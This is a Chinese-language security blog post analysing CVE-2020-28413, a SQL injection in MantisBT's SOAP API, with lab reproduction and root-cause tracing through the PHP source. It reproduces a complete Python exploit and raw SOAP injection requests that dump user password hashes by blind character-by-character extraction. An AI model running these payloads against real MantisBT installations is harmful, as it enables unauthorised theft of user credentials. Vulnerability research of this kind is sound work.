记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

CVE-2020-28413 MantisBT SQL注入漏洞分析

2022-09-06 00:46

漏洞相关信息

根据CVE-2020-28413相关信息,在Mantis的API Soap组件中的mc_project_get_users方法中存在SQL注入,

access参数的值会导致sql注入。影响2.24.3及以下版本。

调试环境搭建

参考我前文中针对CVE-2017-7615的环境搭建流程,选取mantis 2.18 版本开展测试

漏洞复现

exp已经有大佬放出来了

# Exploit Title: Mantis Bug Tracker 2.24.3 - 'access' SQL Injection
# Date: 30/12/2020
# Exploit Author: EthicalHCOP
# Vendor Homepage: https://www.mantisbt.org/
# Version: 2.24.3
# CVE: CVE-2020-28413

import requests, sys, time
from lxml import etree

proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}

def Hacer_Peticion(query):
home = "http://172.16.113.1:10080/mantisbt/"
url = home+"/api/soap/mantisconnect.php"
headers = {'content-type': 'text/xml',
'SOAPAction': url+'"/mc_project_get_users"'}
mantis_db_user = ""
mantis_db_pass = ""
body = """<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Header/>
<soapenv:Body>
<man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string">"""+mantis_db_user+"""</username>
<password xsi:type="xsd:string">"""+mantis_db_pass+"""</password>
<project_id xsi:type="xsd:integer">0</project_id>
<access xsi:type="xsd:string">"""+query+"""</access>
</man:mc_project_get_users>
</soapenv:Body>
</soapenv:Envelope>"""
response = requests.post(url, data=body, headers=headers, verify=False)
#response = requests.post(url, data=body, headers=headers, proxies=proxies, verify=False)
parser = etree.XMLParser(remove_blank_text=True)
xml = etree.XML(response.content, parser)
xml = etree.tostring(xml)
return(str(xml))

def Cantidad_Usuarios_Mantis():
query = "0 union all select concat('-',(select count(*) " \
"from mantis_user_table),'0'),2,3,4 order by id asc limit 1"
xml = Hacer_Peticion(query)
txt = xml.split("integer")
txt = txt[1].split("id")
registros = str(str(str(txt[0])[:-2])[-2:])[:-1]
return(registros)

def Obtener_Id(usr_pos):
query = "0 union all select concat((SELECT id FROM mantis_user_table " \
"order by id asc limit 0,1),'0'),2,3,4 limit "+str(usr_pos)+",1"
xml = Hacer_Peticion(query)
txt = xml.split("integer")
txt = txt[1].split("id")
id = str(str(txt[0])[:-2])[-1:]
name = str(str(txt[1])[29:]).split("</name>")[0]
return (id+"-"+name)

def brute_force(data):
charts = "abcdefghijklmnopqrstuvwxyz0123456789"
passw = ""
id = data.split("-")[0]
name = data.split("-")[1]
for cp in range (1,33,1):
for c in charts:
print(f"\rHash: {passw}", end="")
time.sleep(0.00001)
sys.stdout.flush()
query = "0 union all select (select if(substring((select binary(password) " \
"from mantis_user_table where id = " + str(id) + ")," + str(cp) + ",1)='" + str(c) + "','0','900000000000000000000')), 2,3,4 order by id asc limit 1"
xml = Hacer_Peticion(query)
txt = xml.split("integer")
txt = txt[1].split("id")
r_id = str(str(txt[0])[:-2])[-1:]
if(r_id=="0"):
passw = passw + str(c)
break
print(f"\r", end="")
sys.stdout.flush()
print(name+": "+passw)

def main():
cantidad_users = Cantidad_Usuarios_Mantis()
print("Cantidad usuarios en db: "+str(cantidad_users))
print("Obteniendo Hashes...")
for x in range(0,int(cantidad_users),1):
brute_force(Obtener_Id(x))

if __name__ == "__main__":
main()

我在测试这个exp的时候发现有点问题,没有正常执行

尝试用burp抓第一个发送的数据包:

POST /mantisbt/api/soap/mantisconnect.php HTTP/1.1
Host: 172.16.113.160:10080
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
content-type: text/xml
SOAPAction: http://172.16.113.160:10080/mantisbt/api/soap/mantisconnect.php"/mc_project_get_users"
Content-Length: 793

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Header/>
<soapenv:Body>
<man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string"></username>
<password xsi:type="xsd:string"></password>
<project_id xsi:type="xsd:integer">0</project_id>
<access xsi:type="xsd:string">0 union all select concat('-',(select count(*) from mantis_user_table),'0'),2,3,4 order by id asc limit 1</access>
</man:mc_project_get_users>
</soapenv:Body>
</soapenv:Envelope>

response:

HTTP/1.1 200 OK
Date: Fri, 26 Aug 2022 15:30:31 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: PHPSESSID=q4fbn9hgkocbo1d3on9ugfaoa1; path=/; HttpOnly
Cache-Control: private, max-age=10800
Last-Modified: Tue, 26 Jul 2022 09:14:43 GMT
Vary: Accept-Encoding
Content-Length: 34
Connection: close
Content-Type: text/html; charset=UTF-8

PHP SOAP extension is not enabled.

推测应该是我的目标环境中缺少相应依赖,进入环境中安装相应依赖

apt install php-soap
service apache2 restart

再次发送同样的数据包,同时将数据包中的用户名密码修改成有效用户名:

POST /mantisbt/api/soap/mantisconnect.php HTTP/1.1
Host: 172.16.113.160:10080
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
content-type: text/xml
SOAPAction: http://172.16.113.160:10080/mantisbt/api/soap/mantisconnect.php"/mc_project_get_users"
Content-Length: 810

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Header/>
<soapenv:Body>
<man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string">administrator</username>
<password xsi:type="xsd:string">root</password>
<project_id xsi:type="xsd:integer">0</project_id>
<access xsi:type="xsd:string">0 union all select concat('-',(select count(*) from mantis_user_table),'0'),2,3,4 order by id asc limit 1</access>
</man:mc_project_get_users>
</soapenv:Body>
</soapenv:Envelope>

response如下:

HTTP/1.1 200 OK
Date: Mon, 29 Aug 2022 03:01:05 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: PHPSESSID=r5qik9ld185nameld4f344lrs5; path=/; HttpOnly
Cache-Control: private, max-age=10800
Last-Modified: Tue, 26 Jul 2022 09:14:43 GMT
Vary: Accept-Encoding
Content-Length: 669
Connection: close
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://futureware.biz/mantisconnect" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:mc_project_get_usersResponse><return SOAP-ENC:arrayType="ns1:AccountData[1]" xsi:type="SOAP-ENC:Array"><item xsi:type="ns1:AccountData"><id xsi:type="xsd:integer">-30</id></item></return></ns1:mc_project_get_usersResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

可以看到有了正常的回复

此时再尝试测试完整的exp发现已经可以正常运行

╰─$ python3 CVE-2020-28413.py
Cantidad usuarios en db: 3
Obteniendo Hashes...
administrator: 63a9f0ea7bb98050796b649e85481845
admin: 8ae1653f670543a69ff833a17f2cc21d
user: 67f600b2654690eec8e96e830e43460e

exp的效果应该是在有一个低级用户的条件下,可以获取所有用户的口令哈希

漏洞分析

在漏洞复现过程中可知本漏洞需要口令密码方可正常运行,根据exp内容大概可以掌握到漏洞脚本文件是mantisconnect.php

......
$t_server = new SoapServer( 'mantisconnect.wsdl',
array( 'features' => SOAP_USE_XSI_ARRAY_TYPE + SOAP_SINGLE_ELEMENT_ARRAYS )
);

$t_server->addFunction( SOAP_FUNCTIONS_ALL );
$t_server->handle();
......

尾部定义了一个soap服务器

因此直接根据请求头中SOAPAction字段:

SOAPAction: http://172.16.113.160:10080/mantisbt/api/soap/mantisconnect.php"/mc_project_get_users"

判断接下来会调用mc_project_get_users方法,此方法定义mc_project_api.php文件当中

function mc_project_get_users( $p_username, $p_password, $p_project_id, $p_access ) {
global $g_project_override;

$t_user_id = mci_check_login( $p_username, $p_password );

if( $t_user_id === false ) {
return mci_fault_login_failed();
}

$g_project_override = $p_project_id;

$t_users = project_get_all_user_rows( $p_project_id, $p_access ); # handles ALL_PROJECTS case

$t_display = array();
$t_sort = array();

foreach( $t_users as $t_user ) {
$t_user_name = user_get_name_from_row( $t_user );
$t_display[] = string_attribute( $t_user_name );
$t_sort[] = user_get_name_for_sorting_from_row( $t_user );
}

array_multisort( $t_sort, SORT_ASC, SORT_STRING, $t_users, $t_display );

$t_result = array();
for( $i = 0;$i < count( $t_sort );$i++ ) {
$t_row = $t_users[$i];

# This is not very performant - But we have to assure that the data returned is exactly
# the same as the data that comes with an issue (test for equality - $t_row[] does not
# contain email fields).
$t_result[] = mci_account_get_array_by_id( $t_row['id'] );
}
return $t_result;
}

sql注入变量access会作为参数传递给 project_get_all_user_rows函数

function project_get_all_user_rows( $p_project_id = ALL_PROJECTS, $p_access_level = ANYBODY, $p_include_global_users = true ) {
......
if( $p_include_global_users ) {
db_param_push();
$t_query = 'SELECT id, username, realname, access_level
FROM {user}
WHERE enabled = ' . db_param() . '
AND access_level ' . $t_global_access_clause;
$t_result = db_query( $t_query, array( $t_on ) );

while( $t_row = db_fetch_array( $t_result ) ) {
$t_users[(int)$t_row['id']] = $t_row;
}
}
......
}

很明显,access会被作为参数拼接进入sql字符串中进而执行,进而会造成sql注入

断点断下来漏洞很明显不详细叙述了

于是好奇,在漏洞的前边还存在认证代码$t_user_id = mci_check_login( $p_username, $p_password );,用户名口令肯定也会被传递进入sql语句执行的,那么是否也会存在其他的命令注入呢?

尝试进入mci_check_login分析

function mci_check_login( $p_username, $p_password ) {
......
if( api_token_validate( $p_username, $t_password ) ) {
# Token is valid, then login the user without worrying about a password.
if( auth_attempt_script_login( $p_username, null ) === false ) {
return false;
}
} else {
......
}

继续查看校验函数api_token_validate

function api_token_validate( $p_username, $p_token ) {
......
$t_user_id = user_get_id_by_name( $p_username );
......
}

username会被作为参数传递给user_get_id_by_name函数:

function user_get_id_by_name( $p_username, $p_throw = false ) {
......
$t_query = 'SELECT * FROM {user} WHERE username=' . db_param();
$t_result = db_query( $t_query, array( $p_username ) );
......
}

可以看到username会被作为参数传递给db_query函数,因此尝试发数据包,将username设置为1' OR '1'='1看看会是什么结果:

POST /mantisbt/api/soap/mantisconnect.php HTTP/1.1
Host: 172.16.113.160:10080
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
content-type: text/xml
SOAPAction: http://172.16.113.160:10080/mantisbt/api/soap/mantisconnect.php"/mc_project_get_users"
Content-Length: 809

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Header/>
<soapenv:Body>
<man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string">1' OR '1'='1</username>
<password xsi:type="xsd:string">root</password>
<project_id xsi:type="xsd:integer">0</project_id>
<access xsi:type="xsd:string">1</access>
</man:mc_project_get_users>
</soapenv:Body>
</soapenv:Envelope>

可以发现运行到此处时,p_username的参数确实是我们设置的1' OR '1'='1值

然而,在运行时执行的命令却被转义了,我们可以运行到下一行察看$t_result的值发现:

究其根本,是因为db_query函数会对参数的值进行转义,进而没有达成sql注入

但是为什么前边acess的值可以做到注入呢,是因为access的值直接被拼接进入的sql语句当中,而不是作为参数传递给db_query函数

if( $p_include_global_users ) {
db_param_push();
$t_query = 'SELECT id, username, realname, access_level
FROM {user}
WHERE enabled = ' . db_param() . '
AND access_level ' . $t_global_access_clause;
$t_result = db_query( $t_query, array( $t_on ) );

while( $t_row = db_fetch_array( $t_result ) ) {
$t_users[(int)$t_row['id']] = $t_row;
}
}

漏洞利用方法

对于sql注入了解几乎为零,借此机会顺带了解一下具体的利用流程,先查看一下数据库中的用户表内容,有一个基本掌握

我的用户表中有三个用户,表中还存在密码哈希,id等字段

注入时执行的语句是:

SELECT id, username, realname, access_level FROM mantis_user_table WHERE enabled = 1 AND access_level >=  {access}

其中{access}便是我们输入的access的值

下面来看一下exp具体执行利用的过程:

exp中,第一阶段包执行以下语句

SELECT id, username, realname, access_level FROM mantis_user_table WHERE enabled = 1 AND access_level >= 0 union all select concat('-',(select count(*) from mantis_user_table),'0'),2,3,4 order by id asc limit 1

然后获取执行结果中的值,此值为-与用户表中数量以及'0'的拼接,通过此值可以标记数据库中有效的用户数量,我的数据库中有效用户是3个

第二阶段,然后执行下一条命令

SELECT id, username, realname, access_level FROM mantis_user_table WHERE enabled = 1 AND access_level >= 0 union all select concat((SELECT id FROM mantis_user_table order by id asc limit 0,1),'0'),2,3,4 limit {1},1

其中{1}会迭代0-2来获取数据库中每个用户的id号以及用户名

第三个步骤,就是从用户表中取出每一个用户的密码哈希,然后逐字符进行对比,爆破获取每个用户的口令

SELECT id, username, realname, access_level FROM mantis_user_table WHERE enabled = 1 AND access_level >= 0 union all select (select if(substring((select binary(password) from mantis_user_table where id = {1}),{1},1)='{a}','0','900000000000000000000')), 2,3,4 order by id asc limit 1

其中,{}括起来的数字是会迭代,用于爆破。如果匹配错误,依然会输出第一个有效用户内容

如果匹配正确,则会出现以下内容:

根据匹配的结果即可判断每一个字符爆破是否正确,最终成功猜解出全部的密码哈希值。


知识来源: https://xz.aliyun.com/t/11671

阅读:383437 | 评论:0 | 标签:注入 漏洞 CVE SQL 分析

想收藏或者和大家分享这篇好文章→复制链接地址

“CVE-2020-28413 MantisBT SQL注入漏洞分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

十年经营持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

🙇🧎营运续持们我助帮↓

标签云 ☁